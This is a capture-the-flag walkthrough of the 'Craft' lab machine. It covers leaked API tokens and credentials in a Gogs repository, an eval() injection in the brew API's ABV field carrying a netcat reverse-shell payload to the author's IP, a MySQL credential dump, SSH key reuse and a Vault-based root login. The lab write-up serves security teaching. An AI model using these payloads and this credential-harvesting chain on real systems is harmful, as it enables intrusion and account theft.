Today we’re going to solve another CTF machine “ Craft ”. It is now retired box and can be accessible if you’re a VIP member.
Specifications
- Target OS: Linuxx
- IP Address: 10.10.10.110
- Difficulty: Medium
Contents
- Getting user
- Getting root
Enumeration
As always, the first step consists of reconnaissance phase as port scanning.
Ports Scanning
During this step we’re gonna identify the target to see what we have behind the IP Address.
nmap -sC -sV -oA 10.10.10.110
Enumerating Port 443
If we browse the URL https://10.10.10.110 we get this and there’s an API menu let’s click on that.
Enumerating Craft API
If we browse api.craft.htb/api
Enumerating Gogs
If we browse gogs.craft.htb
We’ll get these two vhosts with API service and Gogs respository service running on server.
If we explore on Gogs there’s an public repository named craft-api .
There’s an opened Issues by user Dinesh Chugtai which revels craft api token.
curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}
Token can be helpful for later use of accessing craft api.
Dinesh commits a2d28ed155 , c414b16057 has some useful information.
dinesh
4aUh0A8PbVJxgd
import requests
import json
-response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
Another commit revels vulnerable function being used in code.
There’s an test.py file let’s wget and run it.
wget --no-check-certificate https://gogs.craft.htb/Craft/craft-api/raw/10e3ba4f0a09c778d7cec673f28d410b73455a86/tests/test.py
The script doesn’t run unless we include this in our code.
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
We got the response.
Exploitation
Edit the script and add reverse shell to abv values since we have vulnerable eval() function.
#!/usr/bin/env python
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1337 >/tmp/f')"
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
And we got shell
Looking around in file system, we see .dockerenv file which shows its a docker container.
Let’s do ifconfig and check the IP Address of our machine.
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
We found MYSQL Database creds let’s connect to database and see tables.
user='craft', password='qLGockJ6G2J75O', db='craft'
/opt/app # cat e2.py
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM user"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
/opt/app # python e2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
So, we found some creds through mysql.
dinesh::4aUh0A8PbVJxgd
ebachman::llJ77D8QFkLPQB
gilfoyle::ZEU3N8WNM2rh4T
Let’s try those creds on gogs.
We were able to login into gilfoyle account and we can see private repository named craft-infra .
There’s an .ssh directory which seems interesting.
There’s an public and private SSH key which needed to be looked let’s download them in to our local machine.
chmod 600 id_rsa
ssh -i id_rsa gilfoyle@craft.htb
Password: ZEU3N8WNM2rh4T
Now, we’re on a real craft machine.
Privilege Escalation
There’s an vault token.
If we login to gilfoyle account on gogs and see private repository there’s and secrets.sh file.
Let’s read the documentation of vault.
Now, we have key generated let’s login to ssh with root@127.0.0.1
e244d0ef-05d5-29fa-cb0d-4f2ccea022d4